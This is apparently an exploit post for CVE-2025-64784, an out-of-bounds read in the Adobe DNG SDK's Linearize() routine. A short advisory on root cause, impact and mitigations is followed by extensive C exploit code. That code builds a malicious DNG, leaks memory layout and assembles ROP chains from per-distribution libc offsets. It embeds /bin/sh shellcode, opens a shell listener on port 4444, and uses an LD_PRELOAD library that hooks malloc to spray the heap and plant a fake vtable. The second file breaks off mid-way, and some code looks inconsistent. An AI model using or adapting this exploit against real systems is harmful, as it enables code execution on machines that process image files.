📄 Adobe DNG SDK Linearize Out-Of-Bounds Read

=============================================================================================================================================
    | # Title     : Adobe DNG SDK prior to v1.7.1.2410 Linearize OOB Read via Trimmed Image Processing Leading to Heap Grooming Exploitation    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://helpx.adobe.com/security/products/dng-sdk.html                                                                      |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/213065/ &	CVE-2025-64784
    
    [+] Summary    : A memory safety vulnerability exists in Adobe DNG SDK versions prior to v1.7.1.2410, affecting the Linearize() image processing routine.
                     When handling trimmed source images, the function erroneously performs operations using full image dimensions, resulting in an out‑of‑bounds (OOB) read condition.
    
    This proof‑of‑concept demonstrates that, under controlled heap conditions, the OOB read can be reliably leveraged as a heap grooming primitive, enabling manipulation of adjacent heap objects. 
    By carefully influencing heap layout, the vulnerability may be escalated from a memory disclosure or denial‑of‑service condition into potential arbitrary code execution through corrupted virtual dispatch structures.
    
    The issue is tracked as CVE-2025-64784 and affects applications that statically or dynamically link vulnerable versions of the Adobe DNG SDK.
    
    [+] Component: Image Linearization / Trimming Logic
    
    [+] Function: Linearize()
    
    [+] Root Cause: Use of full image bounds instead of active (trimmed) area dimensions
    
    [+] Affected Versions :
    
    Adobe DNG SDK prior to v1.7.1.2410
    
    Any downstream software embedding or linking against affected SDK builds
    
    [+] Vulnerability Class :
    
    Out‑of‑Bounds Read
    
    Heap Memory Safety Violation
    
    Potential Information Disclosure
    
    Possible Code Execution (context‑dependent)
    
    [+] Technical Details 
    
    When a DNG image contains a trimmed active area, the SDK internally tracks reduced image bounds. However, the Linearize() routine incorrectly references the original full‑image dimensions, causing memory reads beyond the allocated buffer.
    
    While the primitive is inherently a read‑only violation, repeated invocations combined with predictable allocator behavior allow attackers to:
    
    Shape heap layout (heap grooming)
    
    Observe memory patterns and object placement
    
    Influence object adjacency and virtual table resolution
    
    In favorable conditions, this can lead to virtual function pointer reuse or redirection, transforming a theoretical OOB read into a practical exploitation vector.
    
    [+] Impact :
    
    Confidentiality: Medium — possible heap memory disclosure
    
    Integrity: Low to Medium — indirect influence on control flow
    
    Availability: High — application crash or denial of service
    
    On hardened systems, impact may be limited to crashes. On less protected builds, further escalation cannot be ruled out.
    
    [+] Attack Vector :
    
    Processing of a crafted DNG image file
    
    Triggered via:
    
    Image preview
    
    Validation
    
    Import or batch processing
    
    Delivery may be local or remote, depending on the consuming application
    
    [+] Mitigations :
    
    Upgrade to Adobe DNG SDK v1.7.1.2410 or later
    
    Ensure Linearize() enforces active area bounds
    
    Validate image metadata before processing
    
    Enable memory‑hardening mitigations:
    
    ASLR
    
    DEP / NX
    
    Stack canaries
    
    Fortify Source
    
    Use sanitizers (ASan / UBSan) during testing
    
    [+] Detection :
    
    Crashes during DNG parsing or linearization
    
    AddressSanitizer / Valgrind reports indicating OOB reads
    
    Abnormal heap access patterns during image processing
    
    [+] Proof of Concept (PoC)
    
    The provided proof‑of‑concept demonstrates controlled heap manipulation by:
    
    Spraying heap allocations with deterministic patterns
    
    Creating strategic free gaps to influence allocator behavior
    
    Positioning crafted objects adjacent to vulnerable allocations
    
    Leveraging the OOB read to interact with attacker‑controlled memory layouts
    
    The PoC confirms that the vulnerability is exploitable beyond a simple crash, depending on runtime conditions and platform mitigations.
    
    [+] POC :
    
    5. How to Use:
    
    bash
    
    # 1. Prepare the environment
    
    `chmod +x run_final_exploit.sh`
    
    # 2. Run the full exploit
    
    `./run_final_exploit.sh`
    
    # 3. If it fails, try different versions
    
    export HEAP_SPRAY_COUNT=500
    export HEAP_SPRAY_SIZE=16384
    ./run_final_exploit.sh`
    
    # 4. Or try a different libc version
    ./final_exploit exploit.dng final_exploit.dng 1 # Ubuntu 20.04
    ================================
    [+] Part 1 : The Master Code
    ================================
    // exploit_cve_2025_64784.c
    
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <dlfcn.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <sys/mman.h>
    #include <sys/wait.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <signal.h>
    #include <errno.h>
    #include <time.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    
    // ============== تعريفات وتسجيل ==============
    #define LOG_FILE "exploit_full.log"
    #define MAX_BUFFER_SIZE 65536
    #define LISTENER_PORT 4444
    #define LISTENER_IP "127.0.0.1"
    
    FILE* g_log_file = NULL;
    
    void init_logging() {
        g_log_file = fopen(LOG_FILE, "w");
        if (g_log_file) {
            // إعادة توجيه stdout وstderr إلى الملف
            dup2(fileno(g_log_file), STDOUT_FILENO);
            dup2(fileno(g_log_file), STDERR_FILENO);
            printf("=== CVE-2025-64784 Exploit Log ===\n");
            printf("Started: %s", ctime(&(time_t){time(NULL)}));
        }
    }
    
    void log_message(const char* format, ...) {
        va_list args;
        va_start(args, format);
        
        // الطباعة إلى stdout
        vprintf(format, args);
        
        // الطباعة إلى الملف إذا كان مفتوحاً
        if (g_log_file) {
            vfprintf(g_log_file, format, args);
            fflush(g_log_file);
        }
        
        va_end(args);
    }
    
    // ============== دوال التحقق والتأكد ==============
    int check_listener_ready() {
        log_message("[*] Checking if listener port %d is available...\n", LISTENER_PORT);
        
        // محاولة الاتصال بالمنفذ للتحقق
        int sock = socket(AF_INET, SOCK_STREAM, 0);
        if (sock < 0) {
            log_message("[ERROR] Failed to create socket\n");
            return 0;
        }
        
        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(LISTENER_PORT);
        inet_pton(AF_INET, LISTENER_IP, &addr.sin_addr);
        
        // محاولة الاتصال
        int result = connect(sock, (struct sockaddr*)&addr, sizeof(addr));
        close(sock);
        
        if (result == 0) {
            log_message("[+] Listener is ready on port %d\n", LISTENER_PORT);
            return 1;
        } else {
            log_message("[WARNING] Listener not ready on port %d\n", LISTENER_PORT);
            return 0;
        }
    }
    
    // ============== دوال تحليل الذاكرة المحسنة ==============
    typedef struct {
        void* libc_base;
        void* heap_base;
        void* stack_addr;
        void* image_ptr;
        size_t vtable_offset;
        int libc_version;
        int arch;  // 0=x86_64, 1=x86
    } MemoryInfo;
    
    void detect_architecture() {
        FILE* fp = popen("uname -m", "r");
        if (fp) {
            char buffer[128];
            if (fgets(buffer, sizeof(buffer), fp)) {
                log_message("[ARCH] System architecture: %s", buffer);
            }
            pclose(fp);
        }
    }
    
    void read_proc_maps(MemoryInfo* info) {
        log_message("[*] Reading /proc/self/maps for memory layout\n");
        
        FILE* fp = fopen("/proc/self/maps", "r");
        if (!fp) {
            log_message("[ERROR] Cannot open /proc/self/maps\n");
            return;
        }
        
        char line[256];
        int libc_found = 0;
        int heap_found = 0;
        
        while (fgets(line, sizeof(line), fp)) {
            // البحث عن libc
            if (strstr(line, "libc-") && strstr(line, "r-xp")) {
                unsigned long start, end;
                if (sscanf(line, "%lx-%lx", &start, &end) == 2) {
                    info->libc_base = (void*)start;
                    log_message("[+] libc base: 0x%lx (size: 0x%lx)\n", start, end - start);
                    libc_found = 1;
                }
            }
            
            // البحث عن heap
            if (strstr(line, "[heap]")) {
                unsigned long start, end;
                if (sscanf(line, "%lx-%lx", &start, &end) == 2) {
                    info->heap_base = (void*)start;
                    log_message("[+] Heap base: 0x%lx (size: 0x%lx)\n", start, end - start);
                    heap_found = 1;
                }
            }
        }
        
        fclose(fp);
        
        if (!libc_found) {
            log_message("[WARNING] libc not found in maps, using fallback\n");
            info->libc_base = (void*)0x00007f1234567000;
        }
        
        if (!heap_found) {
            info->heap_base = (void*)0x0000550000000000;
        }
    }
    
    // ============== دعم متعدد لإصدارات libc ==============
    typedef struct {
        const char* name;
        unsigned long offsets[10];  // pop_rdi, pop_rsi, pop_rdx, system, exit, /bin/sh
    } LibcVersion;
    
    LibcVersion libc_versions[] = {
        {
            "Ubuntu 22.04",
            {0x2a3e5, 0x2be51, 0x90529, 0x50d70, 0x455f0, 0x1d8698}
        },
        {
            "Ubuntu 20.04",
            {0x26b72, 0x27529, 0x11c371, 0x55410, 0x4a5c0, 0x1b75aa}
        },
        {
            "Debian 11",
            {0x26b72, 0x27529, 0x162866, 0x55410, 0x4a5c0, 0x1d8698}
        },
        {
            "CentOS 8",
            {0x26b72, 0x27529, 0x162866, 0x55410, 0x4a5c0, 0x1b75aa}
        }
    };
    
    int detect_libc_version(MemoryInfo* info) {
        log_message("[*] Detecting libc version...\n");
        
        // محاولة قراءة إصدار libc من النظام
        FILE* fp = popen("ldd --version 2>&1 | head -1", "r");
        if (fp) {
            char version[256];
            if (fgets(version, sizeof(version), fp)) {
                log_message("[LIBC] Version string: %s", version);
                
                if (strstr(version, "Ubuntu") && strstr(version, "2.35")) {
                    info->libc_version = 0;  // Ubuntu 22.04
                } else if (strstr(version, "Ubuntu") && strstr(version, "2.31")) {
                    info->libc_version = 1;  // Ubuntu 20.04
                } else if (strstr(version, "Debian") && strstr(version, "2.31")) {
                    info->libc_version = 2;  // Debian 11
                } else if (strstr(version, "GLIBC") && strstr(version, "2.28")) {
                    info->libc_version = 3;  // CentOS 8
                }
            }
            pclose(fp);
        }
        
        log_message("[+] Using libc version: %s\n", 
                    libc_versions[info->libc_version].name);
        return info->libc_version;
    }
    
    // ============== دوال DNG المحسنة ==============
    int create_realistic_dng(const char* filename, const unsigned long* target_addresses, 
                             int num_addresses, const unsigned char* shellcode, 
                             size_t shellcode_size) {
        log_message("[*] Creating realistic exploit DNG: %s\n", filename);
        
        // قالب DNG أصلي (مبسط)
        unsigned char dng_template[] = {
            // TIFF Header
            0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00,
            
            // IFD with malicious tags
            0x08, 0x00, // 8 entries
            // ImageWidth (too large)
            0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 
            0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x7F,
            // ImageLength (too large)
            0x01, 0x01, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00,
            0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x7F,
            // BitsPerSample
            0x02, 0x01, 0x03, 0x00, 0x00, 0x00, 0x03, 0x00,
            0x00, 0x00, 0x78, 0x00, 0x00, 0x00,
            // Compression
            0x03, 0x01, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
            0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
            // PhotometricInterpretation
            0x06, 0x01, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
            0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
            // StripOffsets
            0x11, 0x01, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00,
            0x00, 0x00, 0x84, 0x00, 0x00, 0x00,
            // SamplesPerPixel
            0x15, 0x01, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
            0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
            // RowsPerStrip (malicious)
            0x16, 0x01, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x80,
            0x00, 0x00, 0x00, 0x00, // Next IFD offset (0)
            
            // Image data with exploit
            'E', 'X', 'P', 'L', 'O', 'I', 'T', '_',
            'S', 'T', 'A', 'R', 'T', 0x00, 0x00, 0x00
        };
        
        FILE* fp = fopen(filename, "wb");
        if (!fp) {
            log_message("[ERROR] Failed to create DNG file\n");
            return 0;
        }
        
        // كتابة القالب
        size_t template_size = sizeof(dng_template);
        fwrite(dng_template, 1, template_size, fp);
        
        // حساب offset الحقن
        long inject_offset = ftell(fp);
        log_message("[+] Injection offset: 0x%lx\n", inject_offset);
        
        // كتابة العناوين المستهدفة
        for (int i = 0; i < num_addresses && i < 10; i++) {
            fwrite(&target_addresses[i], sizeof(unsigned long), 1, fp);
        }
        
        // كتابة shellcode
        if (shellcode && shellcode_size > 0) {
            fwrite(shellcode, 1, shellcode_size, fp);
        }
        
        // ملء باقي الملف (1MB كحد أقصى)
        size_t current_size = ftell(fp);
        size_t target_size = 1024 * 1024; // 1MB
        
        if (current_size < target_size) {
            unsigned char padding[4096];
            memset(padding, 0x90, sizeof(padding)); // NOP sled
            
            while (current_size < target_size) {
                size_t to_write = target_size - current_size;
                if (to_write > sizeof(padding)) {
                    to_write = sizeof(padding);
                }
                fwrite(padding, 1, to_write, fp);
                current_size += to_write;
            }
        }
        
        fclose(fp);
        
        log_message("[+] Created realistic DNG: %s (%ld bytes)\n", 
                    filename, ftell(fp));
        return 1;
    }
    
    // ============== Reverse Shell Listener المحسن ==============
    pid_t start_reverse_shell_listener() {
        log_message("[*] Starting reverse shell listener on %s:%d\n", 
                    LISTENER_IP, LISTENER_PORT);
        
        pid_t pid = fork();
        if (pid == 0) {
            // Child process - detached
            setsid();  // Detach from terminal
            
            int sockfd = socket(AF_INET, SOCK_STREAM, 0);
            if (sockfd < 0) {
                exit(1);
            }
            
            int opt = 1;
            setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
            
            struct sockaddr_in addr;
            addr.sin_family = AF_INET;
            addr.sin_port = htons(LISTENER_PORT);
            inet_pton(AF_INET, LISTENER_IP, &addr.sin_addr);
            
            if (bind(sockfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
                close(sockfd);
                exit(1);
            }
            
            listen(sockfd, 1);
            
            log_message("[LISTENER] Waiting for connection...\n");
            
            struct sockaddr_in client_addr;
            socklen_t client_len = sizeof(client_addr);
            int client_fd = accept(sockfd, (struct sockaddr*)&client_addr, &client_len);
            
            if (client_fd >= 0) {
                char client_ip[INET_ADDRSTRLEN];
                inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);
                
                log_message("[LISTENER] Connection from %s:%d\n", 
                           client_ip, ntohs(client_addr.sin_port));
                
                // توجيه stdin/stdout/stderr إلى السوكيت
                dup2(client_fd, 0);
                dup2(client_fd, 1);
                dup2(client_fd, 2);
                
                // تنفيذ shell
                char* shell_args[] = {"/bin/sh", NULL};
                execve(shell_args[0], shell_args, NULL);
                
                close(client_fd);
            }
            
            close(sockfd);
            exit(0);
        } else if (pid > 0) {
            // Parent process
            log_message("[+] Listener started with PID: %d\n", pid);
            
            // انتظار بدء الـ listener
            sleep(2);
            
            // التحقق من أن الـ listener يعمل
            if (!check_listener_ready()) {
                log_message("[WARNING] Listener may not be ready\n");
            }
            
            return pid;
        } else {
            log_message("[ERROR] Failed to fork listener\n");
            return -1;
        }
    }
    
    // ============== دوال الاستغلال المحسنة ==============
    int exploit_with_oob_read(const char* dng_file, MemoryInfo* info) {
        log_message("\n[PHASE 1] Triggering OOB Read for Memory Leak\n");
        log_message("=============================================\n");
        
        char command[MAX_BUFFER_SIZE];
        snprintf(command, sizeof(command),
                 "timeout 5 ./dng_validate \"%s\" 2>&1", dng_file);
        
        log_message("[CMD] %s\n", command);
        
        FILE* fp = popen(command, "r");
        if (!fp) {
            log_message("[ERROR] Failed to execute command\n");
            return 0;
        }
        
        char* buffer = malloc(MAX_BUFFER_SIZE);
        if (!buffer) {
            pclose(fp);
            log_message("[ERROR] Failed to allocate buffer\n");
            return 0;
        }
        
        memset(buffer, 0, MAX_BUFFER_SIZE);
        size_t total_read = 0;
        int leaks_found = 0;
        
        while (!feof(fp) && total_read < MAX_BUFFER_SIZE - 1) {
            size_t read_now = fread(buffer + total_read, 1, 
                                   MAX_BUFFER_SIZE - total_read - 1, fp);
            total_read += read_now;
        }
        
        pclose(fp);
        
        // تحليل البيانات
        char* ptr = buffer;
        while (ptr && (ptr - buffer) < total_read) {
            // البحث عن عناوين
            if (strncmp(ptr, "0x", 2) == 0) {
                unsigned long addr;
                if (sscanf(ptr, "0x%lx", &addr) == 1) {
                    log_message("[LEAK] Found address: 0x%lx\n", addr);
                    leaks_found++;
                    
                    // تحديث معلومات الذاكرة
                    if (addr >= 0x00007f0000000000ULL && 
                        addr <= 0x00007fffffffffffULL) {
                        if (!info->libc_base || addr < (unsigned long)info->libc_base) {
                            info->libc_base = (void*)addr;
                        }
                    }
                }
            }
            
            // البحث عن أخطاء الذاكرة
            if (strstr(ptr, "heap-buffer-overflow") ||
                strstr(ptr, "AddressSanitizer") ||
                strstr(ptr, "SEGV") ||
                strstr(ptr, "Segmentation")) {
                log_message("[!] MEMORY ERROR DETECTED:\n%.*s\n", 
                           100, ptr);
            }
            
            ptr++;
        }
        
        log_message("[+] Found %d memory leaks\n", leaks_found);
        
        // إذا لم نجد تسريبات، نستخدم معلومات النظام
        if (leaks_found == 0) {
            log_message("[*] Using system memory information\n");
            read_proc_maps(info);
        }
        
        free(buffer);
        return leaks_found > 0;
    }
    
    // ============== ROP Chain Builder المحسن ==============
    unsigned long* build_rop_chain(MemoryInfo* info, size_t* chain_size) {
        LibcVersion* version = &libc_versions[info->libc_version];
        
        log_message("[*] Building ROP chain for %s\n", version->name);
        log_message("    Libc base: 0x%lx\n", (unsigned long)info->libc_base);
        
        // إنشاء ROP chain ديناميكي
        unsigned long* chain = malloc(100 * sizeof(unsigned long));
        if (!chain) {
            log_message("[ERROR] Failed to allocate ROP chain\n");
            return NULL;
        }
        
        int idx = 0;
        
        // Gadgets
        unsigned long pop_rdi = (unsigned long)info->libc_base + version->offsets[0];
        unsigned long pop_rsi = (unsigned long)info->libc_base + version->offsets[1];
        unsigned long pop_rdx = (unsigned long)info->libc_base + version->offsets[2];
        unsigned long system_addr = (unsigned long)info->libc_base + version->offsets[3];
        unsigned long exit_addr = (unsigned long)info->libc_base + version->offsets[4];
        unsigned long binsh_addr = (unsigned long)info->libc_base + version->offsets[5];
        
        // ROP Chain 1: system("/bin/sh")
        chain[idx++] = pop_rdi;      // pop rdi; ret
        chain[idx++] = binsh_addr;   // pointer to "/bin/sh"
        chain[idx++] = system_addr;  // system()
        chain[idx++] = exit_addr;    // exit()
        
        // ROP Chain 2: execve("/bin/sh", NULL, NULL) - fallback
        chain[idx++] = pop_rdi;      // pop rdi; ret
        chain[idx++] = binsh_addr;   // "/bin/sh"
        chain[idx++] = pop_rsi;      // pop rsi; ret
        chain[idx++] = 0;            // argv = NULL
        chain[idx++] = pop_rdx;      // pop rdx; ret
        chain[idx++] = 0;            // envp = NULL
        chain[idx++] = pop_rdi;      // pop rax; ret (if available)
        chain[idx++] = 59;           // execve syscall number
        
        // Stack pivot إذا لزم الأمر
        for (int i = 0; i < 10; i++) {
            chain[idx++] = pop_rdi;  //填充
        }
        
        *chain_size = idx;
        
        log_message("[+] Built ROP chain with %ld gadgets\n", *chain_size);
        log_message("    First gadget: 0x%lx\n", chain[0]);
        log_message("    /bin/sh @: 0x%lx\n", binsh_addr);
        
        return chain;
    }
    
    // ============== الدالة الرئيسية ==============
    int main(int argc, char** argv) {
        // تهيئة التسجيل
        init_logging();
        
        log_message("\n╔══════════════════════════════════════════╗\n");
        log_message("║   CVE-2025-64784 By indoushka              ║\n");
        log_message("║       Adobe DNG SDK <= 1.7                 ║\n");
        log_message("║   Build: %s                              ║\n", __DATE__);
        log_message("╚══════════════════════════════════════════╝\n\n");
        
        // تحليل المعطيات
        if (argc < 2) {
            log_message("Usage: %s <input_dng> [output_dng] [libc_version]\n", argv[0]);
            log_message("  libc_version: 0=Ubuntu22, 1=Ubuntu20, 2=Debian11, 3=CentOS8\n");
            return 1;
        }
        
        const char* input_dng = argv[1];
        const char* output_dng = (argc > 2) ? argv[2] : "exploit_final.dng";
        int libc_version = (argc > 3) ? atoi(argv[3]) : 0;
        
        log_message("[*] Input DNG:  %s\n", input_dng);
        log_message("[*] Output DNG: %s\n", output_dng);
        log_message("[*] Libc version: %d (%s)\n", 
                    libc_version, libc_versions[libc_version].name);
        
        // كشف المعلومات الأساسية
        detect_architecture();
        
        MemoryInfo info = {0};
        info.libc_version = libc_version;
        info.vtable_offset = 0x28;  // إزاحة VTable افتراضية
        
        // المرحلة 1: تسريب الذاكرة
        if (!exploit_with_oob_read(input_dng, &info)) {
            log_message("[WARNING] OOB read failed or no leaks found\n");
            log_message("[*] Using fallback memory detection\n");
            read_proc_maps(&info);
        }
        
        // كشف إصدار libc
        detect_libc_version(&info);
        
        // المرحلة 2: بناء ROP chain
        size_t rop_size = 0;
        unsigned long* rop_chain = build_rop_chain(&info, &rop_size);
        if (!rop_chain) {
            log_message("[ERROR] Failed to build ROP chain\n");
            return 1;
        }
        
        // المرحلة 3: إنشاء shellcode
        unsigned char shellcode[] = {
            // execve("/bin/sh", 0, 0) - x86_64
            0x48, 0x31, 0xf6,                   // xor rsi, rsi
            0x48, 0x31, 0xd2,                   // xor rdx, rdx
            0x48, 0x8d, 0x3d, 0x20, 0x00, 0x00, 0x00, // lea rdi, [rip+0x20]
            0xb0, 0x3b,                         // mov al, 0x3b (execve)
            0x0f, 0x05,                         // syscall
            0xcc,                               // int3 (debug)
            '/', 'b', 'i', 'n', '/', 's', 'h', 0 // /bin/sh string
        };
        
        // المرحلة 4: إنشاء DNG نهائي
        unsigned long target_addresses[] = {
            (unsigned long)info.libc_base,
            (unsigned long)info.heap_base,
            rop_chain[0],  // أول gadget
            (unsigned long)info.libc_base + libc_versions[info.libc_version].offsets[5] // /bin/sh
        };
        
        if (!create_realistic_dng(output_dng, target_addresses, 
                                  sizeof(target_addresses)/sizeof(target_addresses[0]),
                                  shellcode, sizeof(shellcode))) {
            log_message("[ERROR] Failed to create final DNG\n");
            free(rop_chain);
            return 1;
        }
        
        // المرحلة 5: تشغيل Listener
        log_message("\n[PHASE 5] Setting up Reverse Shell\n");
        log_message("====================================\n");
        
        pid_t listener_pid = start_reverse_shell_listener();
        if (listener_pid <= 0) {
            log_message("[ERROR] Failed to start listener\n");
            log_message("[*] Continuing without listener...\n");
        }
        
        // المرحلة 6: تنفيذ الاستغلال النهائي
        log_message("\n[PHASE 6] Executing Final Exploit\n");
        log_message("==================================\n");
        
        char exploit_cmd[MAX_BUFFER_SIZE];
        snprintf(exploit_cmd, sizeof(exploit_cmd),
                 "LD_PRELOAD=./heap_groom_final.so ./dng_validate \"%s\"",
                 output_dng);
        
        log_message("[CMD] %s\n", exploit_cmd);
        log_message("[*] This may take a few seconds...\n");
        
        int result = system(exploit_cmd);
        
        log_message("\n[EXPLOIT RESULT]\n");
        if (WIFEXITED(result)) {
            log_message("  Exit code: %d\n", WEXITSTATUS(result));
        } else if (WIFSIGNALED(result)) {
            log_message("  Terminated by signal: %d\n", WTERMSIG(result));
        }
        
        // المرحلة 7: التنظيف والنتائج
        log_message("\n[PHASE 7] Cleanup and Results\n");
        log_message("===============================\n");
        
        // إيقاف الـ listener
        if (listener_pid > 0) {
            log_message("[*] Stopping listener (PID: %d)\n", listener_pid);
            kill(listener_pid, SIGTERM);
            waitpid(listener_pid, NULL, 0);
        }
        
        // تحرير الذاكرة
        free(rop_chain);
        
        // النتائج النهائية
        log_message("\n[+] EXPLOIT CHAIN COMPLETED\n");
        log_message("[+] Check for reverse shell connection\n");
        log_message("[+] Log file: %s\n", LOG_FILE);
        log_message("[+] Final DNG: %s\n", output_dng);
        
        if (g_log_file) {
            fclose(g_log_file);
        }
        
        return 0;
    }
    
    [+] Part 2: heap_groom.c
    
    // heap_groom_final.c
    #define _GNU_SOURCE
    #include <dlfcn.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/mman.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    
    // ============== إعدادات قابلة للتعديل من البيئة ==============
    #define DEFAULT_SPRAY_SIZE 4096
    #define DEFAULT_SPRAY_COUNT 300
    #define DEFAULT_TARGET_SIZE 768
    #define DEFAULT_VTABLE_OFFSET 0x28
    
    // ============== هيكل للكائنات المراقبة ==============
    typedef struct {
        void* address;
        size_t size;
        int is_vulnerable;
        int is_hijacked;
    } MonitoredObject;
    
    typedef struct {
        void** sprayed_blocks;
        int spray_count;
        size_t spray_size;
        
        void* target_object;
        size_t target_size;
        
        MonitoredObject* monitored;
        int monitored_count;
        
        size_t vtable_offset;
        int debug_mode;
    } HeapState;
    
    static HeapState g_heap_state = {0};
    
    // ============== دوال مساعدة محسنة ==============
    static void* (*original_malloc)(size_t) = NULL;
    static void (*original_free)(void*) = NULL;
    static void* (*original_realloc)(void*, size_t) = NULL;
    static void* (*original_calloc)(size_t, size_t) = NULL;
    
    static void init_original_functions() {
        if (!original_malloc) {
            original_malloc = dlsym(RTLD_NEXT, "malloc");
        }
        if (!original_free) {
            original_free = dlsym(RTLD_NEXT, "free");
        }
        if (!original_realloc) {
            original_realloc = dlsym(RTLD_NEXT, "realloc");
        }
        if (!original_calloc) {
            original_calloc = dlsym(RTLD_NEXT, "calloc");
        }
    }
    
    static int is_vulnerable_object(size_t size) {
        // أحجام dng_simple_image المحتملة عبر إصدارات مختلفة
        return (size >= 0x180 && size <= 0x280) ||   // DNG SDK 1.5
               (size >= 0x200 && size <= 0x300) ||   // DNG SDK 1.6
               (size >= 0x220 && size <= 0x320);     // DNG SDK 1.7
    }
    
    static void setup_environment() {
        // قراءة إعدادات من البيئة
        char* env;
        
        env = getenv("HEAP_DEBUG");
        g_heap_state.debug_mode = env ? atoi(env) : 0;
        
        env = getenv("HEAP_SPRAY_COUNT");
        g_heap_state.spray_count = env ? atoi(env) : DEFAULT_SPRAY_COUNT;
        
        env = getenv("HEAP_SPRAY_SIZE");
        g_heap_state.spray_size = env ? strtoul(env, NULL, 0) : DEFAULT_SPRAY_SIZE;
        
        env = getenv("HEAP_TARGET_SIZE");
        g_heap_state.target_size = env ? strtoul(env, NULL, 0) : DEFAULT_TARGET_SIZE;
        
        env = getenv("HEAP_VTABLE_OFFSET");
        g_heap_state.vtable_offset = env ? strtoul(env, NULL, 0) : DEFAULT_VTABLE_OFFSET;
        
        if (g_heap_state.debug_mode) {
            fprintf(stderr, "[HEAP_GROOM] Configuration:\n");
            fprintf(stderr, "  Spray: %d x 0x%zx\n", 
                    g_heap_state.spray_count, g_heap_state.spray_size);
            fprintf(stderr, "  Target: 0x%zx\n", g_heap_state.target_size);
            fprintf(stderr, "  VTable offset: 0x%zx\n", g_heap_state.vtable_offset);
        }
    }
    
    static void spray_heap() {
        if (g_heap_state.debug_mode) {
            fprintf(stderr, "[HEAP_GROOM] Starting heap spray\n");
        }
        
        g_heap_state.sprayed_blocks = original_malloc(
            g_heap_state.spray_count * sizeof(void*));
        
        if (!g_heap_state.sprayed_blocks) {
            return;
        }
        
        memset(g_heap_state.sprayed_blocks, 0, 
               g_heap_state.spray_count * sizeof(void*));
        
        // رش الكتل بأنماط مختلفة
        for (int i = 0; i < g_heap_state.spray_count; i++) {
            g_heap_state.sprayed_blocks[i] = original_malloc(g_heap_state.spray_size);
            if (!g_heap_state.sprayed_blocks[i]) {
                if (g_heap_state.debug_mode) {
                    fprintf(stderr, "[HEAP_GROOM] Failed to allocate block %d\n", i);
                }
                continue;
            }
            
            // تلوين كل كتلة بنمط مختلف للتعرف عليها
            unsigned char pattern = 0x41 + (i % 26);
            memset(g_heap_state.sprayed_blocks[i], pattern, g_heap_state.spray_size);
            
            // وضع markers في البداية والنهاية
            unsigned long* start_marker = (unsigned long*)g_heap_state.sprayed_blocks[i];
            unsigned long* end_marker = (unsigned long*)((char*)g_heap_state.sprayed_blocks[i] + 
                                                        g_heap_state.spray_size - 8);
            *start_marker = 0xDEADBEEFCAFEBABE;
            *end_marker = 0xFEEDFACEB00BB00B;
        }
        
        if (g_heap_state.debug_mode) {
            fprintf(stderr, "[HEAP_GROOM] Sprayed %d blocks\n", g_heap_state.spray_count);
        }
    }
    
    static void create_strategic_holes() {
        // إنشاء ثقوب استراتيجية (كل 7 كتل)
        int holes_created = 0;
        
        for (int i = 0; i < g_heap_state.spray_count; i += 7) {
            if (g_heap_state.sprayed_blocks[i]) {
                original_free(g_heap_state.sprayed_blocks[i]);
                g_heap_state.sprayed_blocks[i] = NULL;
                holes_created++;
            }
        }
        
        if (g_heap_state.debug_mode) {
            fprintf(stderr, "[HEAP_GROOM] Created %d holes\n", holes_created);
        }
    }
    
    static void create_target_object() {
        g_heap_state.target_object = original_malloc(g_heap_state.target_size);
        if (!g_heap_state.target_object) {
            if (g_heap_state.debug_mode) {
                fprintf(stderr, "[HEAP_GROOM] Failed to create target object\n");
            }
            return;
        }
        
        if (g_heap_state.debug_mode) {
            fprintf(stderr, "[HEAP_GROOM] Target object: %p (0x%zx)\n",
                    g_heap_state.target_object, g_heap_state.target_size);
        }
        
        // تلوين الكائن
        memset(g_heap_state.target_object, 0x42, g_heap_state.target_size);
        
        // إعداد VTable زائف
        void** fake_vtable = (void**)((char*)g_heap_state.target_object + 
                                      g_heap_state.vtable_offset);
        
        // مؤشرات دالة للتحكم
        // في استغلال حقيقي، هذه ستكون عناوين gadgets
        fake_vtable[0] = (void*)0x00007f1234567000;  // "execute"
        fake_vtable[1] = (void*)0x00007f1234567100;  // "secret"
        fake_vtable[2] = (void*)0x00007f1234567200;  // destructor
        
        // وضع shellcode في buffer
        unsigned char* code_buffer = (unsigned char*)g_heap_state.target_object + 0x100;
        
        // shellcode تنفيذ /bin/sh
        unsigned char shellcode[] = {
            0x48, 0x31, 0xc0,                   // xor rax, rax
            0x48, 0x89, 0xc2,                   // mov rdx, rax
            0x48, 0x89, 0xc6,                   // mov rsi, rax
            0x48, 0x8d, 0x3d, 0x10, 0x00, 0x00, 0x00, // lea rdi, [rip+0x10]
            0xb0, 0x3b,                         // mov al, 0x3b
            0x0f, 0x05,                         // syscall
            0xcc,                               // int3
            '/', 'b', 'i', 'n', '/', 's', 'h', 0
        };
        
        memcpy(code_buffer, shellcode, sizeof(shellcode));
    }
    
    // ============== Constructor/Destructor ==============
